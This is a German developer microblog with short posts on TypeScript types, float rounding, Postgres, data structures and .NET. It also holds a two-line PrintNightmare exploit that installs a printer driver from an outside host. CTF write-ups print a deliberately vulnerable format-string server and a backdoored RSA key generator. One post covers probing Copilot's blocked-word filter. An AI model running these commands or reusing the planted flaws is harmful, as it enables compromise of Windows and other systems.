function getGradeDescription(value: Grade): string {
    switch (value) {
        case 1: return "sehr gut";
        case 2: return "gut";
        case 3: return "befriedigend";
        case 4: return "ausreichend";
        case 5: return "mangelhaft";
        case 6: return "ungenügend";
    }
}

…erhalten wir einen Fehler:

Function lacks ending return statement and return type does not include ‘undefined’.

Der kommt daher, dass wir nicht alle Fälle abgedeckt haben und die Funktion nicht immer einen Wert zurückgibt, denn Grade ist ja letztenendes für den Compiler nur eine number, welche alle möglichen Werte annehmen kann. Wir wissen jedoch, dass dies nicht so ist! Der Type-Checker weiß das jedoch nicht. Wie können wir den Type-Checker zu unseren Gunsten verwenden?

Eine Antwort: Mit Literaltypen und Union-Types. Wir können Grade stattdessen so definieren:

type Grade = 1 | 2 | 3 | 4 | 5 | 6;

(Achtung: Das ist immernoch kein newtype, nur ein Typalias für dieses Union)

Dieser Typalias reicht schon aus, um den Compiler bei dem switch mit dem fehlenden default-Case zu befriedigen. Wenn wir jetzt unser Refactoring erneut durchführen, müssen wir Grade abändern:

type Grade = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15;

Jetzt bekommt wir sofort einen Fehler in der getGradeDescription-Funktion: Das Exhaustiveness-Checking sagt uns, dass wir nicht alle Fälle des Grade-Typen abgedeckt haben und der Entwickler weiß sofort, dass er diese Funktion anpassen muss, da sie nicht vergessen werden kann.

Zwei letzte Anmerkungen dazu:

  • Den default-Case würde ich in der TypeScript-Welt trotzdem nicht weglassen. Es ist immer gut, sich ein assertNever zu definieren und es im default-Case für den Wert, auf dem geswitched wird, zu verwenden. Dadurch wird der Fehler eindeutiger und sollte es zur Laufzeit doch irgendwie dazu kommen, kann im Fehelrfall zumindest eine Exception an der richtigen Stelle geworfen werden (TypeScript macht keine Runtime-Checks; eine inkorrekte Assertion würde dafür reichen).
  • Der Typ ist jetzt schon ziemlich lang – ein Union mit 16 Einträgen. Natürlich sollte man auf Fallbasis abwägen, ob es sich lohnt.
  • newtypes / branded Types sind trotzdem cool und können generell helfen, typsicherer zu sein. Es kann sich aber lohnen, seine Typen noch genauer zu spezifizieren.
  • software-engineering
  • typescript

Ein “Gotcha” bei Floating-Point-Kram (IEEE 754) ist das Runden:

In JavaScript verhält sich das Runden wie folgt:

> Math.round(0.5)
1
> Math.round(1.5)
2
> Math.round(2.5)
3
> Math.round(3.5)
4
> Math.round(4.5)
5
> Math.round(5.5)
6

In Python hingegen:

>>> round(0.5)
0
>>> round(1.5)
2
>>> round(2.5)
2
>>> round(3.5)
4
>>> round(4.5)
4
>>> round(5.5)
6

JS rundet hier offenbar klassisch kaufmännisch. Aber was macht Python da? Python rundet hier nach dem Prinzip round half to even, ebenfalls definiert in IEEE 754. Der Hintergrund dieser Idee ist, einen Bias auszugleichen, der auftritt, wenn Summen gerundetwer Zahlen gebildet werden:

This function minimizes the expected error when summing over rounded figures, even when the inputs are mostly positive or mostly negative. Der Wikipedia-Artikel hat auch eine schne Tabelle!

Wenn man in Java mit BigDecimal arbeitet, gibt es da einen sogenannten MathContext, den man auch beim Runden angeben kann. Darüber kann man genau spezifizieren, wie gerundet werden soll.

Eine einfache Web-ReadOnly-Oberfläche für Git-Repos: Klaus

  • git

C# wird ja immer weiterentwickelt. Das geht seit Roslyn so schnell, dass manche Sachen dort vielleicht untergegangen sind. Z. B. hat C# mitterweile zwei neue Access-Modifiers, die nocht “so üblich” sind:

  • protected internal: The type or member can be accessed by any code in the assembly in which it’s declared, or from within a derived class in another assembly.
  • private protected: The type or member can be accessed only within its declaring assembly, by code in the same class or in a type that is derived from that class.
  • dotnet

Datenstrukturdienstag:
Der Prefix-Tree bzw. “Trie”.

Grundidee: Ein Baum, bei dem jeder Knoten ein Buchstabe ist. Will man einen String ablegen, “geht” bzw. erstellt man den entsprechenden Pfad, der zu dem String gehört.
Man muss den Key deshalb nicht separat abspeichern. Der Pfad zum Wert ist der Key. Die Menge der Keys ist dadurch die Menge der Pfade, die in einem Blatt enden.

Neulich habe ich hiermit ein bisschen geliebäugelt, um es ggf. als optimierte Variante anstelle einer Hashmap zu verwenden. Die Keys, die ich in die Map gesteckt habe, waren alle sehr ähnliche Strings. Vorallem waren es Strings, die semantisch mehr miteinander zu tun hatten, je gleicher der Prefix ist. Das hätte vorallem die Lookup-Zeiten aufgrund von CPU-Caches reduzieren können.

Bevor ich ausprobiert hab, ob es sich lohnt, hab ich natürlich gegooglet. Wichtige Erkenntnisse dabei haben dieser und dieser post geliefert. tl;dr: Eine Standard-Hashmap (z. B. aus Java) ist ziemlich optimiert und ein Prefix-Tree lohnt sich meistens eher nicht. Manche sehen das auch als Contest an, die schnellste Hashtable zu schreiben.

  • datenstrukturen

Aus der Reihe “Blogposts, die man kennen sollte”: Parse, don’t validate.

Wenn Ihr eine Anwendung baut, macht ungültige Zustände in Eurer Typdomäne nicht-repräsentierbar. Ihr müsst dann anschließend nichts mehr validieren, sondern nur noch parsen. Letzteres macht ggf. sogar ein Framework für Euch. Und Ihr zwingt Euch dazu, Fehlerfälle nicht zu übersehen.

Ein einfaches Beispiel in TypeScript:
Szenario: Ein Server kann zwei Antworten geben:

{ "ok": true, "data": "Bitteschön" }
{ "ok": false, "message": "Ich bin ein Kaffeepott" }

Was man nicht machen sollte, wäre folgendes DTO als Modellierung für die Antwort zu nehmen:

interface Response {
    ok: boolean;
    message?: string;
    data?: string;
}
const r = await fetch("...").then(r => r.json()) as Response;

Warum nicht?

  • Weil man andauernd prüfen muss, ob message vorhanden ist.
  • Weil es bei diesem DTO gültig ist, dass das Objekt weder message noch data hat. Dieser ungültige Zustand wäre in dieser Modellierung möglich!
  • Weil man vergessen könnte, auf ok zu überprüfen.
  • Kann bei Refactorings kaputt gehen.

Was könnte man stattdessen machen? TypeScript hat (wie andere Sprachen auch) discriminated/tagged Unions. Rust-Menschen kennen das als ihr Enum, nur dass das in TS auf JS-Objekten funktioniert. Dabei fungiert ein- oder mehrere gemeinsame Propertys der Typen als Discriminator (also “Unterscheider”).

Wir definieren genau die zwei Möglichkeiten, die uns der Server geben kann und sagen “das oder das”:

interface SuccessResponse {
    ok: true;
    data: string;
}
interface ErrorResponse {
    ok: false;
    message: string;
}
type Response = SuccessResponse | ErrorResponse;

const r = await fetch("...").then(r => r.json()) as Response;

ok ist hier der Discriminator, der zwischen den beiden Typen unterscheidet.

Auffällig ist:

  • Weder message noch data sind jetzt optional.
  • Man wird vom Typsystem gezwungen, auf ok zu prüfen, bevor man .data verwendet. Man kann es nicht vergessen.
  • Eine Funktion, die nur mit einer erfolgreichen Serverantwort etwas anfangen kann, kann dies in ihrer Parametersignatur sagen. Man spart sich das entpacken der Antwort sowie sonstige Checks innerhalb der Funktion.
  • Wenn Refactorings etwas daran ändern, merkt man das.
  • Es ist nicht möglich, ok: true und mesage: "test" zu haben - ungültige Zustände können hier nicht repräsentiert werden.

Eine Überprüfung, ob die Antwort jetzt erfolgreich war oder nicht, muss man natürlich so früh wie möglich machen, dann spart man sich das Überprüfen an späteren Stellen.

Das oben gezeigte Pattern lässt sich gut verwenden, um State-Machines typsicher zu implementieren.
Noch ein paar Pointer für andere Sprachen:

Das ist nur eine Methode, ungültige Zustände im Typsystem festzuhalten. Aber eine, die (meiner Meinung nach) zu wenig verwendet wird.

  • typescript
  • software-engineering

Datenstrukturdienstag:
Diese Woche keine probabilistische Datenstruktur. Stattdessen etwas eher klassischeres: Merkle-Tree.

Grundidee: Man hat Daten(-Blöcke), welche man hasht. Diese Hashes hasht man dann in Zweierpaaren zu einem neuen Hash. Das macht man so lange, bis man nur noch einen Hash übrig hat, der implizit einen Hash über alle Datenblöcke repräsentiert.
Ein Knoten in dem Baum ist dabei ein Hash, die Kind-Zweige jeweils die Vorgänger-Hashes. Wer alle Datenblöcke vor sich liegen hat, kann den Merkle-Tree berechnen. Ist ein Datenblock fehlerhaft, stimmt am Ende der Root-Hash nicht.

Das Konzept kommt ursprünglich aus 1979 von Ralph Merkle. Eine der bekanntesten Anwendungen heutzutage ist die Bitcoin-Blockchain. Dort wird ein Merkle-Tree verwendet, um einen Hash über die Transaktionen innerhalb eines Blocks zu berechnen. Die Wurzel dieses Merkle-Trees ist bei Bitcoin dann Teil von dem, was als Grundlage für den SHA-1-Hash verwendet wird, der “gemined” wird. Ursprünglich erfunden wurde der Merkle-Tree, um P2P-Dateiaustausch zu verienfachen. Hier ist ein Artikel dazu.

  • datenstrukturen

Bei Travis gab es ein Problem mit den Secrets: Die Secrets waren nicht secret.

Gut ist auch die Anmerkung bei der Ankündigung:

As a reminder, cycling your secrets is something that all users should do on a regular basis.

Man könnte es auch lesen als “Ja, ist schon schlimm und so. Aber Ihr solltet ja eigentlich alle die Secrets regelmäßig durchtauschen, daher ist das ja dann doch nicht so schlimm. Und wenn nicht, dann ist das Euer Problem, wenn Ihr das nicht macht.”.

Die hatten mit Secrets schonmal Probleme.
Wichtiger Fakt: Bei der Meldung aus 2016 steht dabei, dass sie keine Anhaltspunkte haben, dass die Lücke ausgenutzt wurde. Diese Anmerkung fehlt bei der Meldung oben. Man könnte also auf die Idee kommen, daraus zu schlussfolgern, dass es dieses Mal ausgenutzt wurde.
Und wenn man in den verwandten Threads dazu weiterliest, stimmt das vielleicht auch:

We’ve notified a few projects ourselves to remove their PR builds, they reproed and validated too. Don’t know if it was abused or not.

Ich denke, man will uns damit sagen: Nutzt nicht Travis, wenn Ihr Secrets habt.

Wo wir gerade bei Postgres waren: Postgers hat einen riesen haufen vordefinierter Typen: https://www.postgresql.org/docs/9.5/datatype.html

U. A. einen Typen für IP-Adresse und einen für IP-Netze. Außerdem kann eine Tabelle auch Array-Spalten enthalten.
Außerdem auch noch Enums und geometrische Typen (Punkte, Pfade, etc).

  • db

Aktuell mache ich ein bisschen Postgres und muss irgendwo festhalten, was mir so für Dinge auffallen, die ich aus MariaDB und SQLite nicht so kenne.

Heute: Domains

Man kann in Postgres eigene Datentypen anlegen und diese auch mit CHECKs versehen:

CREATE DOMAIN percentage
AS INTEGER
CHECK (VALUE BETWEEN 0 AND 100) NOT NULL;

Und sie dann ganz normal verwenden:

CREATE TABLE test (
    -- ...
    amount_finished percentage,
    -- ...
);

Es gibt auch noch CREATE TYPE. Der Unterschied wird hier erklärt.

  • db

Habe mir gerade diese beiden Shell-Funktionen in die .zshrc gelegt:

dsh() { docker exec -it "$1" /bin/sh }
dbash() { docker exec -it "$1" /bin/bash }

Verwenden mit:

dsh <container-id>

…und man bekommt eine Shell in den Container.

Vielleicht braucht es ja jemand von Euch.

Datenstrukturdienstag:
Heute keine konkrete Datenstruktur, nur ein Link auf diese tolle Seite, die Algorithmen und Datenstrukturen mit IKEA-Bauanleitungs-artigen Grafiken erklärt.

  • datenstrukturen

Ich habe ja schonmal über jq, xq, yq, q und fselect berichtet.

Da gibt es noch eins: htmlq. Das ist wie jq, nur für HTML und als Anfragesprache hat man CSS-Selektoren.

  • tools

Falls Ihr gerade an einem Backend schreibt und überlegt, ob Ihr neben Euer Postgres noch eine Message-Queue stellt (z. B. Redis): Postgres hat LISTEN/NOTIFY und kann damit auch als Message-Broker verwendet werden.

Funktioniert auch in einem Trigger, sodass z. B. andere Clients mitbekommen können, wenn eine neue Zeile eingesetzt wurde.

  • db

Noch ein weiterer “den sollte man kennen”-Blogpost: Today, the Trident Era Ends

Gibt einen Einblick in die Dinge, in denen der IE Vorreiter war, welche tollen Dinge wir dem IE verdanken haben und welche interessanten Sachen sie sich sonst damals ausgedacht haben (u. a. natives HTML-Two-Way-Databinding).

Ein bisschen weniger Inhalt hat The innovations of Internet Explorer.

Wenn Ihr früher .NET gemacht habt, kennt Ihr vielleicht noch pinvoke.net. Das ist eine Wiki-artige Plattform, auf der im Prinzip Code gesammelt wurde, um mit der Win32-API über P/Invokes (das ist das FFI von .NET) zu arbeiten.

Jedes Programm hatte dann diese P/Invoke-Signaturen zu sich hinkopiert. Es gab magische Konstanten, die von irgendwo herkamen und keinen Namen hatten. Wie das halt so mit altem Code, der durch 3 Generationen weitergereicht wird, so ist.

Vor kurzem bin ich auf dotnet/pinvoke gestoßen. Das ist genau das, nur von Microsoft selbst (+ Community Contributions), als einheitliche Dependency, die über NuGet installierbar ist. Zugegeben NuGet gab’s vor 15 Jahren noch nicht wirklich in der Form. Aber genau sowas hätte MS auch schon damals bereitstellen sollen - das hätte alles einfacher gemacht. So ähnlich wie mit dem WinAPICodePack, welches dann auf einmal von allen MS-Seiten verschwand (vermutlich wegen Metro/UWP?).

Jedenfalls dachte ich gerade: Geil! Damit kann ich endlich in meiner Software die handgeschriebenen P/Invokes ablösen und die fehlenden nach upstream contributen. Weniger Wartung für mich und alle haben was davon und so.

Dann habe ich aber diese Issue gesehen. Vor einiger Zeit habe ich hier auch etwas zu den Source-Generators in C# geschrieben. Diese Source-Generators lösen genau diese Library jetzt ab. Undzwar hat das Win32-Team Metadata-Dateien erstellt, aus denen die P/Invokes on-demand erstellt werden können.
Dieser Source-Generator verwendet das. Man muss damit also keine Dependencys mit riesigen Win32-Import-Ansammlungen mitschleppen, sondern generiert sich genau die, die man benötigt.

  • dotnet
  • win32

Hier versucht jemand, rauszufinden, welche Wörter bei GitHubs Copilot dazu führen, dass man keine Vorschläge mehr bekommt.

Nach einer kurzen Einleitung geht’s dann auch schon los:

So it was time to apply absurd amounts of computer science to the problem. After porting the hash algorithm from Javascript to C, […]
[…]
I also started doing some amateur cryptanalysis of the hash function
[…]

Geht natürlich noch weiter!

BND-CTF: 86-GBE Message Service

Der nächste Writeup aus den BND-CTFs. Nach der Backdoor in der RSA-Schlüsselerzeugung, dieses Mal aus der Kategorie Binary Exploitation.

Das Ziel:

Exploit a binary to gain a remote shell.

Wir bekommen die server.c, sowie die auf dem Server genutzte libc.

Server-Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int my_read(FILE *fd, char *buf, size_t max) {
	int read = 0;
	while (read < max && !feof(fd)) {
		int ch = getc(fd);
		if (ch == '\n') {
			break;
		} else {
			buf[read] = ch;
			read++;
		}
	}
	buf[read] = 0;

	return read;
}

char rot13(char ch) {
	if (ch >= 'a' && ch <= 'z') {
		return ((ch - 'a' + 13) % 26) + 'a';
	} else if (ch >= 'A' && ch <= 'Z') {
		return ((ch - 'A' + 13) % 26) + 'A';
	} else if (ch >= '0' && ch <= '9') {
		return ((ch - '0' + 5) % 10) + '0';
	} else {
		return ch;
	}
}

int main(int argc, char** argv) {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	char inp[0x100];
	char cc;

	puts("Welcome to our 86-GBE service!");
	puts("Enter your message and press return.");
	puts("Enter quit to exit.");

	unsigned char len;
	for (;;) {
		len = my_read(stdin, inp, sizeof (inp) - 1);
		if (strcmp(inp, "quit") == 0) {
			exit(0);
		}

		for (int i = 0; i < len; i++) {
			inp[i] = rot13(inp[i]);
		}

		for (int i = 0; i < len / 2; i++) {
			cc = inp[i];
			inp[i] = inp[len -i -1];
			inp[len - i - 1] = cc;
		}

		printf(inp);
		putc('\n', stdout);
	}

	exit(0);
}

Nehmt Euch am Besten etwas Zeit, um den Code erstmal anzuschauen.

Falls Ihr das nachstellen wollt, die Sha1-Hashes der beiden Shared-Objects und der bereitgestellten server-Executable sind:

  • bnd
  • ctf
  • writeup

File IO improvements in .NET 6.

Also ich weiß ja nicht, was der Fall ist. Entweder war .NET vorher im Vergleich derbe langsam, oder jetzt, wo es open source ist, kommen da viele Wunderkinder aus den Ecken und optimieren an jeder Stelle, was das Zeug hält. Wie auch immer die solche Performanceverbesserungen aus dem Hut zaubern.

Vielleicht sind es aber auch die Low-Level-Features, die C# seit neustem eins nach dem Anderen dazubekommt, was dazu führt, dass man jetzt solche Optimierungen machen kann. War eigentlich kein Fan davon, weil es in Zukunft immer mehr Wege gibt, Dinge zu tun. Aber ich kann schon verstehen, warum man das will, wenn man damit solche Verbesserungen herzaubern kann.

Interessant ist auch die neue “Thread-Safe File IO”:

We recognized the need for thread-safe File IO. To make this possible, stateless and offset-based APIs have been introduced in #53669 which was part of .NET 6 Preview 7:

An einigen Stellen scheinen sie jetzt auch “am Betriebssystem vorbei” zu gehen (siehe Anmerkung über den File-Offset).

  • dotnet

How-to API nicht designen: String.split(String pattern) schneidet per default leere Strings am Ende des Ergebnis-Arrays weg (und nur da):

var arr = "a.b.".split("\\."); // ["a", "b"]

Dieses Verhalten alleine produziert schon Bugs (tatsächlich habe ich dadruch einen gefunden, der seit ~3 Jahren unbemerkt war).

Es wird aber noch besser! Wenn man das nicht will, also wenn man will, dass es sich so wie in jeder anderen Sprache verhält, muss man eine Überladung verwenden, die einen limit-Parameter hat. Warum limit? Na das ist die maximale Anzahl an Tokens für einen Match:

If n is non-positive then the pattern will be applied as many times as possible and the array can have any length. If n is zero [Anm. d. Red.: default] then the pattern will be applied as many times as possible, the array can have any length, and trailing empty strings will be discarded.

Das intuitive Verhalten wäre also:

var arr = "a.b.".split("\\.", -1); // ["a", "b", ""]
  • java
  • api-design

Heute kam ein neues Proposal für CSS: Nesting Module. Wenn ich das richtig lese, kann man Selektoren ineinander verschachteln, ähnlich, wie man es bei SCSS auch macht:

This module introduces the ability to nest one style rule inside another, with the selector of the child rule relative to the selector of the parent rule. This increases the modularity and maintainability of CSS stylesheets.

Die verlinkten Beispiele sehen auch danach aus, als hätten sie einfach direkt SCSS genommen.

  • css

BND-CTF: RSA Key Generation

Der BND hat mal wieder einen öffentlichen Einstellungstest, dem wir uns erfreuen dürfen. Ideal, um sich mal etwas in CTF-Writeups zu probieren!

Aus der Kategorie Cryptography schauen wir uns mal die (einzige) Challenge an: Analysieren einer Backdoor in einem RSA-Schlüsselerzeugungsalgorithmus.

Folgender Code wurde uns bereitgestellt:

SageMath-Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
### Excerpt from utils.py (used to encode / decode the message)
def encode(msg):
    """
    Convert a message to a number.

    Example:
    >>> hex(encode(b'ABCD'))
    '0x41424344'
    """
    return int.from_bytes(msg, byteorder='big')


def decode(msg):
    """
    Convert a number back to a message.

    Example:
    >>> decode(0x41424344)
    b'ABCD'
    """
    return int(msg).to_bytes(length=len(hex(msg))//2-1, byteorder='big')

### Excerpt from RSA.py
x = 0xbb31781a2436fd6833597b61f91b94fba8cc5be702c7084de28625d96823102daf48dd84244fe41d180452a900388d1666ff59981f0912c6640977684c20bcfdcbf365dfcb68c0c5a9fd02576134a0e94ab9e20bbacffb4df5c9c27ae7f5022f6609aefeb9f5249387925ad13ce80a13

def rsa_keygen():
    def a(x, y):
        z = 1
        while True:
            if is_prime(x*z + y):
                return x*z + y
            z += 1

    p = a(x, random_prime(2^128, None, 2^127))
    q = a(x, random_prime(2^128, None, 2^127))

    N = p * q
    e = 65537

    d = inverse_mod(e, (p-1) * (q-1))

    return e, d, N

def rsa_crypt(m, k, n):
    return lift(Mod(m, n) ^ k)

(wer kein SageMath installiert hat, kann diese Online-Version verwenden)

Zu dem Code haben wir folgende Zahlen enthalten, die wir entschlüsseln sollen:

  • bnd
  • ctf
  • writeup

Datenstrukturdienstag:
Letzte Woche gab’s den Bloom-Filter, diese Woche muss man dann wohl den Cuckoo-Filter erwähnen.

Großer Unterschied (IMHO): Man kann auch Einträge wieder löschen.

  • datenstrukturen
  • probabilistisch

Hier ein Exploit für die Printer-Nightmare-Geschichte, die aktuell noch nicht gefixt ist.

Besteht aus zwei Zeilen:

net use \\printnightmare.gentilkiwi.com\ipc$ /user:gentilguest password
rundll32 printui.dll,PrintUIEntry /in /n"\\printnightmare.gentilkiwi.com\Kiwi Legit Printer"

Natürlich macht der verwendete Drucker dort sicherlich auch noch was. Aber ist schon cool, dass das einfach ein ein zwei-Zeilen-Batch-Skript passt.

Hier hat Julia Evans Muster aufgeschrieben, der er seiner Meinung nach in schlechten/verwirrenden Erklärungen häufig findet.

HN ist dazu auch empfehlenswert. Hier einige Dinge, die mir auch auffallen:

Another pattern I usually encounter is explaining the how but not the why. […]

Whenever I see a “how-but-not-why” article I assume that the author doesn’t understand the “why” part yet… they’ve likely just rote-learned the “how” part and are regurgitating it. […]

Wo wir gerade bei Datenbanken waren - Ihr kennt sicher Discord. Heute stolperte ich über einen Artikel der Discord-Leute aus dem Jahr 2017, wo sie ihre Migration von MongoDB auf Cassandra beschreiben. Also mit technischen Requirements und Begründungen etc., wie man das machen sollte. Der Artikel beshreibt ganz gut und geht auch darauf ein, was man bei Cassandra beachten sollte.

Wer bei Cassandra an “Ressourcenfressende Java-Datenbank” denkt, mag vielleicht nicht ganz falsch liegen. 2020 migrierten sie dann auf ScyllaDB, einem Cassandra-kompatiblen Drop-in-Replacement, geschrieben in C++.

Kennt Ihr FastAPI? Das ist ein relativ einfaches Python-Framework, mit dem man ganz gut mal ne (REST-)APIs bauen kann. Ist auch relativ schnell, also im Vergleich zu Django und Flask.

Derselbe Mensch hat jetzt eine SQL_API rausgebracht: SQLModel. Verwendet - wie FastAPI auch - Pydantic zur Validierung und SQLAlchemy um mit der Datenbank zu reden. Der Autor hat es auch auf HN gepostet.

Sieht ganz cool aus, könnte man mal ausprobieren. Funktioniert natürlich auch mit SQLite. :)

  • python

Ihr kennt sicher Elasticsearch. Wenn Ihr es nicht selbst schon eingesetzt habt, kennt ihr es vielleicht, weil das gerne offen im Netz hängen gelassen wird oder weil Amazon das aus lizenztechnischen Gründen geforkt hat.

Ist eine Datenbank, die spezialisiert auf Suche ist (ok, da hätte man drauf kommen können). Da es aber in Java geschrieben ist und auch schon ein bisschen existiert, ist es eher relativ dicke Software, die vieles kann und auch viel Ressourcen verbraucht, letztendlich auch wegen Java. Ich kenne Software-Stacks, in denen das zur Auswertung der Logs verwendet wird. Dort kommt es dann nicht selten vor, dass der Elasticsearch-Logging-Stack mehr Ressourcen verbraucht, als die eigentliche Anwendung.

Ich komme darauf, weil gerade Version 0.21.0 von MeiliSearch freigegeben wurde.
Das ist auch eine Datenbank, die spezialisiert auf Suche ist, allerdings in Rust geschrieben (ja, ich weiß, “alles ist besser in Rust” ist ein alter Hut etc.).

Diese Software habe ich schon halb-produktiv verwendet und bin positiv beeindruckt. Sie ist recht einfach aufgebaut, die API ist super straight-forward, genau wie das Rechtesystem. Die Dokumentation ist m. E. n. super gut dafür, dass es Pre-1.0-Software ist. Deployen kann man das Ganze zur Not auch ohne Container, da das gesamte Teil eine einzige Binary ist, die man auch mit einem einfachen git clone und cargo build selbst bauen kann.
Die API-Endpunkte sind dafür gebaut, dass man sie direkt von einem Web-Frontend aus ansprechen kann, ohne Backend-Logik dazwischen.

Vom Funktionsumfang ist das natürlich nicht mit einem Elasticsearch vergleichbar. Es ist ja auch noch Pre-1.0-Software. Die Use-Cases überschneiden sich wahrscheinlich auch nur teilweise, weil MeiliSearch aktuell primär für “Search-as-you-Type”-Sachen gemacht ist.

Neben Elasticsearch und MeiliSearch gibt es natürlich auch noch andere Alternativen. Was ich mit diesem Post auf jeden Fall sagen will: Es muss nicht immer Elasticsearch sein und die Alternativen kennen viele nicht.

Datenstrukturdienstag:
Eine meiner lieblings-Strukturen, der Bloom-Filter.

Eine wichtige Eigenschaft eines Bloom-Filters ist die False-Positive-Rate. Das ist die Wahrscheinlichkeit für False-Positives. Zu dieser Wahrscheinlichkeit gab es 30 Jahre später noch eine neue Formel, da die ursprüngliche wohl fehlerhaft war. Hier ist ein Writeup dazu. Hier ist noch ein Paper dazu.

Was man in der Praxis für Probleme mit einem Bloom-Filter haben kann, hat Cloudflare mal aufgeschrieben.

  • datenstrukturen
  • probabilistisch

Eine relativ unbekannte Firma, die aber im Prinzip das Monopol auf Maschinen für moderne Halbleiterfertigung hat: ASML
Intel, Samsung und TSMC sind große Kunden von denen.

Hier ein Video über das, was sie so machen. Schaut Euch das mal an. Das Level von Engineering, was die da betreiben, ist einfach komplett absurd.
Aus einer Jobbeschreibung:

Imagine perfecting an optical system where aberrations are kept to within one thousandth of the wavelength of light used.
In this optical system, 200 kg reflectors need to be positioned to within an accuracy of less than a nanometer, and then repositioned every second to compensate for millikelvin fluctuations.

Wikipedia dazu

Aus der “Bekannte Blogposts”-Serie: What Color is Your Function?

Man stelle sich vor, Programmiersprachen haben zwei Arten von Funktionen: Rote und Blaue. Dazu kommen Regeln, wie man sie kombinieren kann.
Am Ende sieht man, worum es eigentlich geht. Haben wir sicherlich alle schon einmal benutzt.

Bei Apples CSAM war schon recht schnell klar, dass es kaputt ist (mal von der Frage abgesehen, ob man das überhaupt haben will).
Ich dachte, das hat sich mit dieser einen Kollision (bzw. 2nd-Pre-Image-Attack) und eigentlich muss man da nicht weiter drauf rum hauen. Dann wurde es ganz schnell noch kaputter und jetzt gibt es ein CLI-Tool, das diesen Angriff super easy fährt.

Gut, dachte ich, das wird es jetzt aber definitiv gewesen sein; kaputter geht nicht. Wohl doch. Jetzt kann man glaub ich aber auch echt aufhören, da gibt’s nichts mehr zu holen.

In CSS gibt es die Property will-change, mit dem man dem Browser sagen kann, dass sich andere CSS-Propertys ändern werden und er das schon mal voroptimieren kann.

Abundzu muss man aus einem größeren Zahlenraum auf einen kleineren mappen, z. B. auf den Index eines Arrays. Da sieht man häufig eine Konstruktion mit Modulo: arr[i % n] (wobei n die Länge des Arrays ist).
Für manche ist Modulo zu langsam. In dem Fall kann man diesen Hack anwenden. Aber Achtung, macht nicht das gleiche wie Modulo. Aber verteilt trotzdem auf die Range, die man haben will (ob das wir Modulo bei Zufallswerten auch einen Bias einführt, steht da glaub ich aber nicht).

Ich finde einige Datenstrukturen echt interessant. Immer wieder schön zu sehen, welche Hacks sich überlegt wurden. Vielleicht braucht es ja einen Datenstruktur-Dienstag?

Den Anfang macht…

…die klassische Hash-Table

  • datenstrukturen

MS hat hier zusammengetragen, was es für Performanceverbesserungen in .NET 6 gibt.

Insgesamt echt beeindruckend, alleine schon das Volumen des Posts. Habe jetzt nicht alles einzeln gelesen, nur grob überflogen. Eine Sache ist mir aber aufgefallen:

Most of the Math methods can now participate in constant folding, so if their inputs end up as constants for whatever reason, the results can become constants as well
[…]
dotnet/runtime#42831 from @nathan-moore ensured that the Length of an array created from a constant could be propagated as a constant.
[…]
[…]
dotnet/runtime#55745, which enables the JIT to fold TimeSpan.FromSeconds(constant) (and other such From methods) into a single instruction.

Nice!
Offenbar ist die Compilerinfrastruktur bei .NET jetzt so gut, dass solche Verbesserungen von random GitHub-Leuten eingereicht werden können.

Ich habe vor einier Zeit mal den Vorschlag gemacht, CTFE in C# zu machen. Das ist jetzt definitiv obsolet. Nahezu jedes Beispiel aus dem Proposal wird jetzt vom Constant-Folding optimiert (was ich auch für den besseren Ansatz halte).

Die verbleibenden Use-Cases könnten von generischen Const-Parametern abgefertigt werden. In meinem Proposal werden auch const structs angedeutet (also structs, die zur Compile-Time schon einen Wert haben und sich nicht mehr ändern). Da gibt es auch ein separates Proposal zu. Der Vorteil davon wäre, dass man z. B. DateTimes als “richtige” Konstante haben kann (nicht nur als Shared-Readonly) und es eigentlich keinen Grund gibt, das nicht zu tun, weil das intern auch nur ein Int64 und sonst immutable ist.

Intel möchte bald dedizierte GPUs rausbringen.

Auf HN scheinen sich viele darüber zu freuen, sowohl für Intel als auch für sich selbst. Vorranging wohl wegen der aktuellen GPU-Knappheit. Ich hab jetzt nicht so tolle Erfahrungen mit Intel-Grafik, aber in dem Thread berichten viele von guten Linux-Treibern, was im Vergleich zu Nvidia wohl auch noch ein guter Punkt wäre.

Spannend!

If you set your http proxy to be theoldnet.com port 1997, and (important!) add an exclusion for web.archive.org, then you can browse the entire web from 1997.
You can also change the port number to your preferred year. This is really fun on retro systems / web browsers.

Wer es probieren möchte: https://theoldnet.com/docs/httpproxy/index.html

Ich mag ja coole und vorallem verrückte Ideen für Programmiersprachen.

Hier ist eine für Musik, hier ein Tutorial.

Codeausschnitt:

trumpet:  (tempo 200) o4 c8 d e f g a b > c4.
trombone: o3 e8 f g a b > c d e4.

TypeScript 4.4 ist da (als RC). Die Neuerungen sind im Prinzip gleich zu der Beta.

Im Vergleich zur Beta ist vorallem neu, dass es jetzt einen static-Initializer gibt, der aus einem ES-Proposal kommt.

Wer es nicht kennt, das ist quasi ein Konstruktor für die statischen Elemente einer Klasse. Gibt es mit derselben Syntax auch in C# und Java. Bei C# heißt das Class Construtor (cctor, Erklärung):

class C {
  static x = ...;
  static y;
  static z;

  static {
    try {
      const obj = doSomethingWith(this.x);
      this.y = obj.y;
      this.z = obj.z;
    }
    catch {
      this.y = ...;
      this.z = ...;
    }
  }
}

(this zeigt im statischen Kontext auf die Klasse, nicht auf eine Instanz)

Gerade ist eine neue .NET-Preview veröffentlich worden. Bis auf ein paar Library-Neuerungen ist vorallem eines neu: Statische Interface-Member.

Damit kann man diverse Patterns, wie z. B. Parse + TryParse jetzt als Interface-Methoden definieren (das ging vorher nicht, weil die beiden Methoden statisch sind und Interfaces auf Instanzmethoden beschränkt waren). Jetzt geht das.

